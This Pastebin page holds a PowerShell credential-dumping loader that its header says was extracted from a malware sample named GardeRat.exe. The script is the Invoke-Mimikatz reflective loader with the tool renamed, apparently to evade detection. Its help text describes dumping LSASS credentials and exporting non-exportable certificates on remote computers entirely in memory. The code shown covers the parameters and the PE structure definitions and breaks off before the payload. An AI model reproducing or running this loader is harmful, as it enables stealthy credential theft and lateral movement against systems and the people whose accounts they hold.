daily pastebin goal
75%
SHARE
TWEET

GardeRat.ps1

a guest Apr 25th, 2018 118 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. # PowerShell script (mimikatz loader) extracted from GardeRat.exe (a26ff81f4dccd641941ac5b7d06e4728fba095569fdca9a61d57bf18f04236e4)
  2. # https://www.virustotal.com/#/file/a26ff81f4dccd641941ac5b7d06e4728fba095569fdca9a61d57bf18f04236e4/details
  3.  
  4. <# 
  5.     .NOTES
  6.     ===========================================================================
  7.      Created with:  SAPIEN Technologies, Inc., PowerShell Studio 2018 v5.5.150
  8.      Created on:    26/03/2018 16:56
  9.      Created by:    RLO
  10.      Organization:  
  11.      Filename:      
  12.     ===========================================================================
  13.     .DESCRIPTION
  14.         A description of the file.
  15. #>
  16.  
  17. function Invoke-GardeRat
  18. {
  19. <#
  20. .SYNOPSIS
  21.  
  22. This script leverages GardeRat 2.0 and Invoke-ReflectivePEInjection to reflectively load GardeRat completely in memory. This allows you to do things such as
  23. dump credentials without ever writing the GardeRat binary to disk.
  24. The script has a ComputerName parameter which allows it to be executed against multiple computers.
  25.  
  26. This script should be able to dump credentials from any version of Windows through Windows 8.1 that has PowerShell v2 or higher installed.
  27.  
  28. Function: Invoke-GardeRat
  29. Author: Joe Bialek, Twitter: @JosephBialek
  30. GardeRat Author: Benjamin DELPY `gentilkiwi`. Blog: http://blog.gentilkiwi.com. Email: benjamin@gentilkiwi.com. Twitter @gentilkiwi
  31. License:  http://creativecommons.org/licenses/by/3.0/fr/
  32. Required Dependencies: GardeRat (included)
  33. Optional Dependencies: None
  34. GardeRat version: 2.0 alpha (12/14/2015)
  35.  
  36. .DESCRIPTION
  37.  
  38. Reflectively loads GardeRat 2.0 in memory using PowerShell. Can be used to dump credentials without writing anything to disk. Can be used for any
  39. functionality provided with GardeRat.
  40.  
  41. .PARAMETER DumpCreds
  42.  
  43. Switch: Use GardeRat to dump credentials out of LSASS.
  44.  
  45. .PARAMETER DumpCerts
  46.  
  47. Switch: Use GardeRat to export all private certificates (even if they are marked non-exportable).
  48.  
  49. .PARAMETER Command
  50.  
  51. Supply GardeRat a custom command line. This works exactly the same as running the GardeRat executable like this: GardeRat "privilege::debug exit" as an example.
  52.  
  53. .PARAMETER ComputerName
  54.  
  55. Optional, an array of computernames to run the script on.
  56.    
  57. .EXAMPLE
  58.  
  59. Execute GardeRat on the local computer to dump certificates.
  60. Invoke-GardeRat -DumpCerts
  61.  
  62. .EXAMPLE
  63.  
  64. Execute GardeRat on two remote computers to dump credentials.
  65. Invoke-GardeRat -DumpCreds -ComputerName @("computer1", "computer2")
  66.  
  67. .EXAMPLE
  68.  
  69. Execute GardeRat on a remote computer with the custom command "privilege::debug exit" which simply requests debug privilege and exits
  70. Invoke-GardeRat -Command "privilege::debug exit" -ComputerName "computer1"
  71.  
  72. .NOTES
  73. This script was created by combining the Invoke-ReflectivePEInjection script written by Joe Bialek and the GardeRat code written by Benjamin DELPY
  74. Find Invoke-ReflectivePEInjection at: https://github.com/clymb3r/PowerShell/tree/master/Invoke-ReflectivePEInjection
  75. Find GardeRat at: http://blog.gentilkiwi.com
  76.  
  77. .LINK
  78.  
  79. http://clymb3r.wordpress.com/2013/04/09/modifying-GardeRat-to-be-loaded-using-invoke-reflectivedllinjection-ps1/
  80. #>
  81.    
  82.     [CmdletBinding(DefaultParameterSetName = "DumpCreds")]
  83.     Param (
  84.         [Parameter(Position = 0)]
  85.         [String[]]$ComputerName,
  86.         [Parameter(ParameterSetName = "DumpCreds", Position = 1)]
  87.         [Switch]$DumpCreds,
  88.         [Parameter(ParameterSetName = "DumpCerts", Position = 1)]
  89.         [Switch]$DumpCerts,
  90.         [Parameter(ParameterSetName = "CustomCommand", Position = 1)]
  91.         [String]$Command
  92.     )
  93.    
  94.     Set-StrictMode -Version 2
  95.    
  96.    
  97.     $RemoteScriptBlock = {
  98.         [CmdletBinding()]
  99.         Param (
  100.             [Parameter(Position = 0, Mandatory = $true)]
  101.             [String]$PEBytes64,
  102.             [Parameter(Position = 1, Mandatory = $true)]
  103.             [String]$PEBytes32,
  104.             [Parameter(Position = 2, Mandatory = $false)]
  105.             [String]$FuncReturnType,
  106.             [Parameter(Position = 3, Mandatory = $false)]
  107.             [Int32]$ProcId,
  108.             [Parameter(Position = 4, Mandatory = $false)]
  109.             [String]$ProcName,
  110.             [Parameter(Position = 5, Mandatory = $false)]
  111.             [String]$ExeArgs
  112.         )
  113.        
  114.         ###################################
  115.         ##########  Win32 Stuff  ##########
  116.         ###################################
  117.         Function Get-Win32Types
  118.         {
  119.             $Win32Types = New-Object System.Object
  120.            
  121.             #Define all the structures/enums that will be used
  122.             #   This article shows you how to do this with reflection: http://www.exploit-monday.com/2012/07/structs-and-enums-using-reflection.html
  123.             $Domain = [AppDomain]::CurrentDomain
  124.             $DynamicAssembly = New-Object System.Reflection.AssemblyName('DynamicAssembly')
  125.             $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynamicAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
  126.             $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('DynamicModule', $false)
  127.             $ConstructorInfo = [System.Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0]
  128.            
  129.            
  130.             ############    ENUM    ############
  131.             #Enum MachineType
  132.             $TypeBuilder = $ModuleBuilder.DefineEnum('MachineType', 'Public', [UInt16])
  133.             $TypeBuilder.DefineLiteral('Native', [UInt16] 0) | Out-Null
  134.             $TypeBuilder.DefineLiteral('I386', [UInt16] 0x014c) | Out-Null
  135.             $TypeBuilder.DefineLiteral('Itanium', [UInt16] 0x0200) | Out-Null
  136.             $TypeBuilder.DefineLiteral('x64', [UInt16] 0x8664) | Out-Null
  137.             $MachineType = $TypeBuilder.CreateType()
  138.             $Win32Types | Add-Member -MemberType NoteProperty -Name MachineType -Value $MachineType
  139.            
  140.             #Enum MagicType
  141.             $TypeBuilder = $ModuleBuilder.DefineEnum('MagicType', 'Public', [UInt16])
  142.             $TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR32_MAGIC', [UInt16] 0x10b) | Out-Null
  143.             $TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR64_MAGIC', [UInt16] 0x20b) | Out-Null
  144.             $MagicType = $TypeBuilder.CreateType()
  145.             $Win32Types | Add-Member -MemberType NoteProperty -Name MagicType -Value $MagicType
  146.            
  147.             #Enum SubSystemType
  148.             $TypeBuilder = $ModuleBuilder.DefineEnum('SubSystemType', 'Public', [UInt16])
  149.             $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_UNKNOWN', [UInt16] 0) | Out-Null
  150.             $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_NATIVE', [UInt16] 1) | Out-Null
  151.             $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_GUI', [UInt16] 2) | Out-Null
  152.             $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CUI', [UInt16] 3) | Out-Null
  153.             $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_POSIX_CUI', [UInt16] 7) | Out-Null
  154.             $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CE_GUI', [UInt16] 9) | Out-Null
  155.             $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_APPLICATION', [UInt16] 10) | Out-Null
  156.             $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_BOOT_SERVICE_DRIVER', [UInt16] 11) | Out-Null
  157.             $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_RUNTIME_DRIVER', [UInt16] 12) | Out-Null
  158.             $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_ROM', [UInt16] 13) | Out-Null
  159.             $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_XBOX', [UInt16] 14) | Out-Null
  160.             $SubSystemType = $TypeBuilder.CreateType()
  161.             $Win32Types | Add-Member -MemberType NoteProperty -Name SubSystemType -Value $SubSystemType
  162.            
  163.             #Enum DllCharacteristicsType
  164.             $TypeBuilder = $ModuleBuilder.DefineEnum('DllCharacteristicsType', 'Public', [UInt16])
  165.             $TypeBuilder.DefineLiteral('RES_0', [UInt16] 0x0001) | Out-Null
  166.             $TypeBuilder.DefineLiteral('RES_1', [UInt16] 0x0002) | Out-Null
  167.             $TypeBuilder.DefineLiteral('RES_2', [UInt16] 0x0004) | Out-Null
  168.             $TypeBuilder.DefineLiteral('RES_3', [UInt16] 0x0008) | Out-Null
  169.             $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE', [UInt16] 0x0040) | Out-Null
  170.             $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_FORCE_INTEGRITY', [UInt16] 0x0080) | Out-Null
  171.             $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_NX_COMPAT', [UInt16] 0x0100) | Out-Null
  172.             $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_ISOLATION', [UInt16] 0x0200) | Out-Null
  173.             $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_SEH', [UInt16] 0x0400) | Out-Null
  174.             $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_BIND', [UInt16] 0x0800) | Out-Null
  175.             $TypeBuilder.DefineLiteral('RES_4', [UInt16] 0x1000) | Out-Null
  176.             $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_WDM_DRIVER', [UInt16] 0x2000) | Out-Null
  177.             $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE', [UInt16] 0x8000) | Out-Null
  178.             $DllCharacteristicsType = $TypeBuilder.CreateType()
  179.             $Win32Types | Add-Member -MemberType NoteProperty -Name DllCharacteristicsType -Value $DllCharacteristicsType
  180.            
  181.             ###########    STRUCT    ###########
  182.             #Struct IMAGE_DATA_DIRECTORY
  183.             $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit'
  184.             $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DATA_DIRECTORY', $Attributes, [System.ValueType], 8)
  185.             ($TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public')).SetOffset(0) | Out-Null
  186.             ($TypeBuilder.DefineField('Size', [UInt32], 'Public')).SetOffset(4) | Out-Null
  187.             $IMAGE_DATA_DIRECTORY = $TypeBuilder.CreateType()
  188.             $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DATA_DIRECTORY -Value $IMAGE_DATA_DIRECTORY
  189.            
  190.             #Struct IMAGE_FILE_HEADER
  191.             $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
  192.             $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_FILE_HEADER', $Attributes, [System.ValueType], 20)
  193.             $TypeBuilder.DefineField('Machine', [UInt16], 'Public') | Out-Null
  194.             $TypeBuilder.DefineField('NumberOfSections', [UInt16], 'Public') | Out-Null
  195.             $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null
  196.             $TypeBuilder.DefineField('PointerToSymbolTable', [UInt32], 'Public') | Out-Null
  197.             $TypeBuilder.DefineField('NumberOfSymbols', [UInt32], 'Public') | Out-Null
  198.             $TypeBuilder.DefineField('SizeOfOptionalHeader', [UInt16], 'Public') | Out-Null
  199.             $TypeBuilder.DefineField('Characteristics', [UInt16], 'Public') | Out-Null
  200.             $IMAGE_FILE_HEADER = $TypeBuilder.CreateType()
  201.             $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_HEADER -Value $IMAGE_FILE_HEADER
  202.            
  203.             #Struct IMAGE_OPTIONAL_HEADER64
  204.             $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit'
  205.             $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER64', $Attributes, [System.ValueType], 240)
  206.             ($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null
  207.             ($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null
  208.             ($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null
  209.             ($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null
  210.             ($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null
  211.             ($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null
  212.             ($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null
  213.             ($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null
  214.             ($TypeBuilder.DefineField('ImageBase', [UInt64], 'Public')).SetOffset(24) | Out-Null
  215.             ($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null
  216.             ($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null
  217.             ($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null
  218.             ($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null
  219.             ($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null
  220.             ($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null
  221.             ($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null
  222.             ($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null
  223.             ($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null
  224.             ($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null
  225.             ($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null
  226.             ($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null
  227.             ($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null
  228.             ($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null
  229.             ($TypeBuilder.DefineField('SizeOfStackReserve', [UInt64], 'Public')).SetOffset(72) | Out-Null
  230.             ($TypeBuilder.DefineField('SizeOfStackCommit', [UInt64], 'Public')).SetOffset(80) | Out-Null
  231.             ($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt64], 'Public')).SetOffset(88) | Out-Null
  232.             ($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt64], 'Public')).SetOffset(96) | Out-Null
  233.             ($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(104) | Out-Null
  234.             ($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(108) | Out-Null
  235.             ($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null
  236.             ($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null
  237.             ($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null
  238.             ($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null
  239.             ($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null
  240.             ($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null
  241.             ($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null
  242.             ($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null
  243.             ($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null
  244.             ($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null
  245.             ($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null
  246.             ($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null
  247.             ($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null
  248.             ($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null
  249.             ($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(224) | Out-Null
  250.             ($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(232) | Out-Null
  251.             $IMAGE_OPTIONAL_HEADER64 = $TypeBuilder.CreateType()
  252.             $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER64 -Value $IMAGE_OPTIONAL_HEADER64
  253.            
  254.             #Struct IMAGE_OPTIONAL_HEADER32
  255.             $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit'
  256.             $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER32', $Attributes, [System.ValueType], 224)
  257.             ($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null
  258.             ($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null
  259.             ($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null
  260.             ($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null
  261.             ($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null
  262.             ($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null
  263.             ($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null
  264.             ($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null
  265.             ($TypeBuilder.DefineField('BaseOfData', [UInt32], 'Public')).SetOffset(24) | Out-Null
  266.             ($TypeBuilder.DefineField('ImageBase', [UInt32], 'Public')).SetOffset(28) | Out-Null
  267.             ($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null
  268.             ($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null
  269.             ($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null
  270.             ($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null
  271.             ($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null
  272.             ($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null
  273.             ($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null
  274.             ($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null
  275.             ($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null
  276.             ($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null
  277.             ($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null
  278.             ($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null
  279.             ($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null
  280.             ($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null
  281.             ($TypeBuilder.DefineField('SizeOfStackReserve', [UInt32], 'Public')).SetOffset(72) | Out-Null
  282.             ($TypeBuilder.DefineField('SizeOfStackCommit', [UInt32], 'Public')).SetOffset(76) | Out-Null
  283.             ($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt32], 'Public')).SetOffset(80) | Out-Null
  284.             ($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt32], 'Public')).SetOffset(84) | Out-Null
  285.             ($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(88) | Out-Null
  286.             ($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(92) | Out-Null
  287.             ($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(96) | Out-Null
  288.             ($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(104) | Out-Null
  289.             ($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null
  290.             ($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null
  291.             ($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null
  292.             ($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null
  293.             ($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null
  294.             ($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null
  295.             ($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null
  296.             ($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null
  297.             ($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null
  298.             ($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null
  299.             ($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null
  300.             ($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null
  301.             ($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null
  302.             ($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null
  303.             $IMAGE_OPTIONAL_HEADER32 = $TypeBuilder.CreateType()
  304.             $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER32 -Value $IMAGE_OPTIONAL_HEADER32
  305.            
  306.             #Struct IMAGE_NT_HEADERS64
  307.             $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
  308.             $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS64', $Attributes, [System.ValueType], 264)
  309.             $TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null
  310.             $TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null
  311.             $TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER64, 'Public') | Out-Null
  312.             $IMAGE_NT_HEADERS64 = $TypeBuilder.CreateType()
  313.             $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS64 -Value $IMAGE_NT_HEADERS64
  314.            
  315.             #Struct IMAGE_NT_HEADERS32
  316.             $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
  317.             $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS32', $Attributes, [System.ValueType], 248)
  318.             $TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null
  319.             $TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null
  320.             $TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER32, 'Public') | Out-Null
  321.             $IMAGE_NT_HEADERS32 = $TypeBuilder.CreateType()
  322.             $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS32 -Value $IMAGE_NT_HEADERS32
  323.            
  324.             #Struct IMAGE_DOS_HEADER
  325.             $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
  326.             $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DOS_HEADER', $Attributes, [System.ValueType], 64)
  327.             $TypeBuilder.DefineField('e_magic', [UInt16], 'Public') | Out-Null
  328.             $TypeBuilder.DefineField('e_cblp', [UInt16], 'Public') | Out-Null
  329.             $TypeBuilder.DefineField('e_cp', [UInt16], 'Public') | Out-Null
  330.             $TypeBuilder.DefineField('e_crlc', [UInt16], 'Public') | Out-Null
  331.             $TypeBuilder.DefineField('e_cparhdr', [UInt16], 'Public') | Out-Null
  332.             $TypeBuilder.DefineField('e_minalloc', [UInt16], 'Public') | Out-Null
  333.             $TypeBuilder.DefineField('e_maxalloc', [UInt16], 'Public') | Out-Null
  334.             $TypeBuilder.DefineField('e_ss', [UInt16], 'Public') | Out-Null
  335.             $TypeBuilder.DefineField('e_sp', [UInt16], 'Public') | Out-Null
  336.             $TypeBuilder.DefineField('e_csum', [UInt16], 'Public') | Out-Null
  337.             $TypeBuilder.DefineField('e_ip', [UInt16], 'Public') | Out-Null
  338.             $TypeBuilder.DefineField('e_cs', [UInt16], 'Public') | Out-Null
  339.             $TypeBuilder.DefineField('e_lfarlc', [UInt16], 'Public') | Out-Null
  340.             $TypeBuilder.DefineField('e_ovno', [UInt16], 'Public') | Out-Null
  341.            
  342.             $e_resField = $TypeBuilder.DefineField('e_res', [UInt16[]], 'Public, HasFieldMarshal')
  343.             $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray
  344.             $FieldArray = @([System.Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst'))
  345.             $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 4))
  346.             $e_resField.SetCustomAttribute($AttribBuilder)
  347.            
  348.             $TypeBuilder.DefineField('e_oemid', [UInt16], 'Public') | Out-Null
  349.             $TypeBuilder.DefineField('e_oeminfo', [UInt16], 'Public') | Out-Null
  350.            
  351.             $e_res2Field = $TypeBuilder.DefineField('e_res2', [UInt16[]], 'Public, HasFieldMarshal')
  352.             $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray
  353.             $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 10))
  354.             $e_res2Field.SetCustomAttribute($AttribBuilder)
  355.            
  356.             $TypeBuilder.DefineField('e_lfanew', [Int32], 'Public') | Out-Null
  357.             $IMAGE_DOS_HEADER = $TypeBuilder.CreateType()
  358.             $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DOS_HEADER -Value $IMAGE_DOS_HEADER
  359.            
  360.             #Struct IMAGE_SECTION_HEADER
  361.             $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
  362.             $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_SECTION_HEADER', $Attributes, [System.ValueType], 40)
  363.            
  364.             $nameField = $TypeBuilder.DefineField('Name', [Char[]], 'Public, HasFieldMarshal')
  365.             $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray
  366.             $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 8))
  367.             $nameField.SetCustomAttribute($AttribBuilder)
  368.            
  369.             $TypeBuilder.DefineField('VirtualSize', [UInt32], 'Public') | Out-Null
  370.             $TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null
  371.             $TypeBuilder.DefineField('SizeOfRawData', [UInt32], 'Public') | Out-Null
  372.             $TypeBuilder.DefineField('PointerToRawData', [UInt32], 'Public') | Out-Null
  373.             $TypeBuilder.DefineField('PointerToRelocations', [UInt32], 'Public') | Out-Null
  374.             $TypeBuilder.DefineField('PointerToLinenumbers', [UInt32], 'Public') | Out-Null
  375.             $TypeBuilder.DefineField('NumberOfRelocations', [UInt16], 'Public') | Out-Null
  376.             $TypeBuilder.DefineField('NumberOfLinenumbers', [UInt16], 'Public') | Out-Null
  377.             $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null
  378.             $IMAGE_SECTION_HEADER = $TypeBuilder.CreateType()
